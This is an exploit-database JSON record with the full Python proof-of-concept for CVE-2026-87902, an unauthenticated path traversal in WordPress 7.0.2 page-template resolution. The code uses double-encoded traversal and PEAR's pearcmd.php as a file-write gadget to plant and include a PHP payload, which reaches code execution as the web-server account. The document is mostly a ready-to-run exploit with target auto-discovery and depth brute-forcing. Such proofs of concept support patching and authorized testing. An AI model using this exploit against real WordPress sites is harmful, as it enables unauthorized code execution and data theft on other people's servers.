{"exploit":{"id":"EDB-52690","name":"WordPress 7.0.2 - Path Travesal","description":"WordPress 7.0.2 - Path Travesal","cves":["CVE-2026-87902"],"author":"Robert Ressl","published":"2026-10-01","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52690","path":"exploits/multiple/webapps/52690.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52690.py","vulnerabilities":[{"id":"CVE-2026-87902","state":"PUBLISHED","title":null,"titleSource":null,"description":"An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-87902","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-87902"},"updatedAt":"2026-09-26T03:55:51.560Z","retrievedAt":"2026-11-25T16:13:33.737Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52690.png?v=2","url":"https://exploitbin.com/exploits/EDB-52690","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52690/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52690/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: WordPress 7.0.2 - Path Travesal\n# Google Dork: N/A\n# Date: 2026-09-22\n# Exploit Author: Robert Ressl (https://ressl.ch)\n# Vendor Homepage: https://wordpress.org\n# Software Link: https://wordpress.org/download/releases/\n# Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every =\nbranch down to 4.7.37)\n# Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi=\ncial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64)\n# CVE: CVE-2026-87902\n# Advisory: https://github.com/WordPress/wordpress-develop/security/advisor=\nies/GHSA-7hp8-65ch-5whp\n# Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/\n# Source: https://github.com/ressl/cve-2026-87902-poc\n#\n# Requires: Python 3.6+ (standard library only)\n# Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N=\n] [--depth 7]\n#\n# Preconditions (the Source repository ships a lab that provides all of the=\nm):\n#   * a published page that uses the default template (auto-detected via RE=\nST, or --page-id)\n#   * a top-level `page-*` directory in the active theme (--theme-dir, defa=\nult page-templates)\n#   * a readable PEAR pearcmd.php (--include) and register_argc_argv=3DOn f=\nor the web SAPI\n#   * a writable directory for the PEAR payload (--output, default /tmp)\n\n\"\"\"\nCVE-2026-87902 - unauthenticated path traversal in WordPress page-template\nresolution leading to local PHP file inclusion (and, where the deployment\nallows it, to PHP code execution).\n\nTwo anonymous POST requests are enough:\n\n  Stage 1  The traversal makes the template loader include a readable local\n           `.php` file outside the theme roots. With PEAR present and\n           `register_argc_argv=3DOn`, `/usr/local/lib/php/pearcmd.php` acts=\n as a\n           file-write gadget: `config-create` serializes attacker-controlle=\nd\n           data - including PHP opening tags - into a writable directory.\n\n  Stage 2  The same traversal includes the generated file, so the embedded =\nPHP\n           runs with the privileges of the web-server account.\n\nThe WordPress defect is the missing path containment. PEAR is only one\nenvironment-dependent way of turning the inclusion into code execution.\n\nFor authorized security testing and research only.\n\"\"\"\n\nimport argparse\nimport http.client\nimport json\nimport ssl\nimport sys\nfrom urllib.parse import urlsplit\n\nUSER_AGENT =3D \"cve-2026-87902-poc/1.0\"\n\n# Lab defaults (see lab/ and README.md). WordPress appends `.php` to the\n# traversal target, so those paths are always given without the suffix.\nDEFAULT_MARKER =3D \"CVE-2026-87902-POC-OK\"\nDEFAULT_THEME_DIR =3D \"page-templates\"            # theme directory supplyi=\nng the fixed `page-` prefix\nDEFAULT_INCLUDE =3D \"/usr/local/lib/php/pearcmd\"  # gadget included in stag=\ne 1\nDEFAULT_OUTPUT =3D \"/tmp/wp-pear-rce-flag\"        # PEAR writes `<output>.p=\nhp` to this path\nDEFAULT_READ =3D \"/flag\"                          # file printed by the inj=\nected PHP\nLAB_DEPTH =3D 7                                   # `..` segments from the =\ntheme root to `/`\n\n\ndef send_request(base, method, path, body=3DNone, timeout=3D20.0, insecure=\n=3DFalse):\n    \"\"\"Send a request with a byte-exact request target.\n\n    The request target must reach the server unmodified: the raw `<`, `>`, =\n`=3D`\n    and `+` bytes are load-bearing (PHP splits the raw query string into PE=\nAR's\n    argv and does not URL-decode the individual arguments), so nothing may =\nbe\n    re-encoded on the way out.\n    \"\"\"\n    parts =3D urlsplit(base)\n    if not parts.hostname:\n        raise ValueError(\"invalid target URL: %s\" % base)\n    if parts.scheme =3D=3D \"https\":\n        context =3D ssl._create_unverified_context() if insecure else ssl.c=\nreate_default_context()\n        conn =3D http.client.HTTPSConnection(\n            parts.hostname, parts.port or 443, timeout=3Dtimeout, context=\n=3Dcontext\n        )\n    else:\n        conn =3D http.client.HTTPConnection(parts.hostname, parts.port or 8=\n0, timeout=3Dtimeout)\n    headers =3D {\n        \"User-Agent\": USER_AGENT,\n        \"Accept\": \"*/*\",\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n        \"Connection\": \"close\",\n    }\n    try:\n        conn.request(method, path, body=3Dbody, headers=3Dheaders)\n        response =3D conn.getresponse()\n        return response.status, response.read().decode(\"utf-8\", \"replace\")\n    finally:\n        conn.close()\n\n\ndef php_literal(value):\n    \"\"\"Quote-free PHP string literal: `/flag` -> chr(47).chr(102).chr(108).=\n..\"\"\"\n    return \".\".join(\"chr(%d)\" % ord(char) for char in value)\n\n\ndef double_encode(path):\n    \"\"\"Encode a theme-relative path for the request body.\n\n    PHP decodes the form body once. WordPress must still see the escaped oc=\ntets\n    (`%2f`, `%2e`) afterwards, so that `wp_basename()` and the query saniti=\nzer\n    leave the traversal alone; `get_page_template()` decodes them much late=\nr.\n    \"\"\"\n    once =3D path.replace(\"/\", \"%2F\").replace(\".\", \"%2E\")\n    return once.replace(\"%\", \"%25\")\n\n\ndef candidate(theme_dir, depth, target):\n    \"\"\"Theme-relative candidate path for an absolute local target.\n\n    WordPress prepends the fixed `page-` prefix when building the template\n    name, so the path segment derived from a theme directory `page-template=\ns`\n    is `templates`: `page-` + `templates/../../<target>` + `.php`.\n    \"\"\"\n    prefix =3D theme_dir[len(\"page-\"):] if theme_dir.startswith(\"page-\") el=\nse theme_dir\n    return prefix + \"/\" + \"../\" * depth + target.lstrip(\"/\")\n\n\ndef find_page(base, timeout, insecure):\n    \"\"\"Find a published page using the default template (anonymous REST cal=\nl).\"\"\"\n    routes =3D (\n        \"/index.php?rest_route=3D/wp/v2/pages&per_page=3D100&_fields=3Did,s=\nlug,template\",\n        \"/wp-json/wp/v2/pages?per_page=3D100&_fields=3Did,slug,template\",\n    )\n    for route in routes:\n        try:\n            status, body =3D send_request(base, \"GET\", route, timeout=3Dtim=\neout, insecure=3Dinsecure)\n        except Exception:\n            continue\n        if status !=3D 200:\n            continue\n        try:\n            pages =3D json.loads(body)\n        except ValueError:\n            continue\n        if not isinstance(pages, list) or not pages:\n            continue\n        for page in pages:  # a custom page template would win the hierarch=\ny before the traversal\n            if not page.get(\"template\"):\n                return page.get(\"id\"), page.get(\"slug\", \"\"), route\n        return pages[0].get(\"id\"), pages[0].get(\"slug\", \"\"), route\n    return None, None, None\n\n\ndef run_stages(base, args, depth):\n    \"\"\"Run both stages for one traversal depth. Returns a result dict.\"\"\"\n    include_path =3D candidate(args.theme_dir, depth, args.include)\n    output_path =3D candidate(args.theme_dir, depth, args.output)\n    payload =3D \"<?=3Dfile_get_contents(%s)?>\" % php_literal(args.read)\n\n    # Stage 1: the raw query string becomes PEAR's argv. `config-create`\n    # requires an absolute root path, so the payload is injected as that ro=\not\n    # (`/<php>`) and PEAR serializes it into the generated config file.\n    stage1_target =3D \"/?+config-create+/\" + payload + \"+\" + args.output + =\n\".php\"\n    stage1_body =3D \"page_id=3D%d&pagename=3D%s\" % (args.page_id, double_en=\ncode(include_path))\n    status1, _ =3D send_request(base, \"POST\", stage1_target, body=3Dstage1_=\nbody,\n                              timeout=3Dargs.timeout, insecure=3Dargs.insec=\nure)\n\n    # Stage 2: include the file PEAR just wrote.\n    stage2_body =3D \"page_id=3D%d&pagename=3D%s\" % (args.page_id, double_en=\ncode(output_path))\n    status2, text2 =3D send_request(base, \"POST\", \"/\", body=3Dstage2_body,\n                                  timeout=3Dargs.timeout, insecure=3Dargs.i=\nnsecure)\n\n    return {\n        \"depth\": depth,\n        \"include_candidate\": \"page-\" + include_path + \".php\",\n        \"output_candidate\": \"page-\" + output_path + \".php\",\n        \"status1\": status1,\n        \"status2\": status2,\n        \"hits\": text2.count(args.marker),\n        \"body\": text2,\n    }\n\n\ndef first_line_with(text, marker, limit=3D200):\n    index =3D text.find(marker)\n    if index < 0:\n        return \"\"\n    chunk =3D text[index:index + limit]\n    return chunk.splitlines()[0] if chunk else \"\"\n\n\ndef main(argv=3DNone):\n    parser =3D argparse.ArgumentParser(\n        description=3D\"CVE-2026-87902 - WordPress page-template traversal t=\no local PHP inclusion (PoC)\",\n        formatter_class=3Dargparse.ArgumentDefaultsHelpFormatter,\n    )\n    parser.add_argument(\"--url\", default=3D\"http://127.0.0.1:8091\", help=3D=\n\"WordPress base URL\")\n    parser.add_argument(\"--page-id\", type=3Dint, help=3D\"published page ID =\n(auto-detected via REST if omitted)\")\n    parser.add_argument(\"--theme-dir\", default=3DDEFAULT_THEME_DIR,\n                        help=3D\"top-level `page-*` directory of the active =\ntheme\")\n    parser.add_argument(\"--include\", default=3DDEFAULT_INCLUDE,\n                        help=3D\"local file to include in stage 1 (no `.php`=\n suffix)\")\n    parser.add_argument(\"--output\", default=3DDEFAULT_OUTPUT,\n                        help=3D\"writable destination for the PEAR payload (=\nno `.php` suffix)\")\n    parser.add_argument(\"--read\", default=3DDEFAULT_READ, help=3D\"file prin=\nted by the injected PHP\")\n    parser.add_argument(\"--marker\", default=3DDEFAULT_MARKER,\n                        help=3D\"string expected in the stage-2 response on =\nsuccess\")\n    parser.add_argument(\"--depth\", type=3Dint, default=3D0,\n                        help=3D\"number of `..` segments (0 =3D lab depth fi=\nrst, then 1..12)\")\n    parser.add_argument(\"--timeout\", type=3Dfloat, default=3D20.0, help=3D\"=\nper-request timeout in seconds\")\n    parser.add_argument(\"--insecure\", action=3D\"store_true\", help=3D\"do not=\n verify TLS certificates\")\n    args =3D parser.parse_args(argv)\n\n    if not args.theme_dir.startswith(\"page-\"):\n        parser.error(\"--theme-dir must be the real theme directory name and=\n start with 'page-'\")\n\n    base =3D args.url.rstrip(\"/\")\n    print(\"[*] target        : %s\" % base)\n\n    if args.page_id:\n        print(\"[*] page id       : %d (from --page-id)\" % args.page_id)\n    else:\n        page_id, slug, route =3D find_page(base, args.timeout, args.insecur=\ne)\n        if not page_id:\n            print(\"[-] no published page found - pass --page-id explicitly\"=\n, file=3Dsys.stderr)\n            return 1\n        args.page_id =3D page_id\n        print(\"[*] page id       : %d (%s, default template, via %s)\" % (pa=\nge_id, slug or \"?\", route))\n\n    if args.depth:\n        depths =3D [args.depth]\n    else:\n        depths =3D [LAB_DEPTH] + [d for d in range(1, 13) if d !=3D LAB_DEP=\nTH]\n\n    for depth in depths:\n        result =3D run_stages(base, args, depth)\n        print(\"[*] depth %-2d      : stage 1 HTTP %s, stage 2 HTTP %s\"\n              % (depth, result[\"status1\"], result[\"status2\"]))\n        if result[\"hits\"]:\n            print(\"[+] traversal     : %s\" % result[\"include_candidate\"])\n            print(\"[+] payload file  : %s (written by PEAR in stage 1)\" % r=\nesult[\"output_candidate\"])\n            print(\"[+] marker        : %r found %d time(s) in the stage-2 r=\nesponse\"\n                  % (args.marker, result[\"hits\"]))\n            print(\"[+] proof         : %s\" % first_line_with(result[\"body\"]=\n, args.marker))\n            print(\"[+] EXPLOIT SUCCESSFUL - PHP executed with the web-serve=\nr account's privileges\")\n            return 0\n\n    print(\"[-] exploit failed\", file=3Dsys.stderr)\n    print(\"    check that lab/up.sh completed (WordPress installed, `page-*=\n` fixture present,\",\n          file=3Dsys.stderr)\n    print(\"    /flag readable), that the page ID is published, and that PEA=\nR is reachable with\",\n          file=3Dsys.stderr)\n    print(\"    register_argc_argv=3DOn for the web SAPI.\", file=3Dsys.stder=\nr)\n    return 1\n\n\nif __name__ =3D=3D \"__main__\":\n    sys.exit(main())","sha256":"d4f43b51be77e919687d13e3a2e6d8c8ea0df2b7064f66a962f4b04cc76a3726","bytes":11826,"fetchedAt":"2026-11-25T10:17:06.421Z","encoding":"utf-8 (display only; download retains original bytes)"}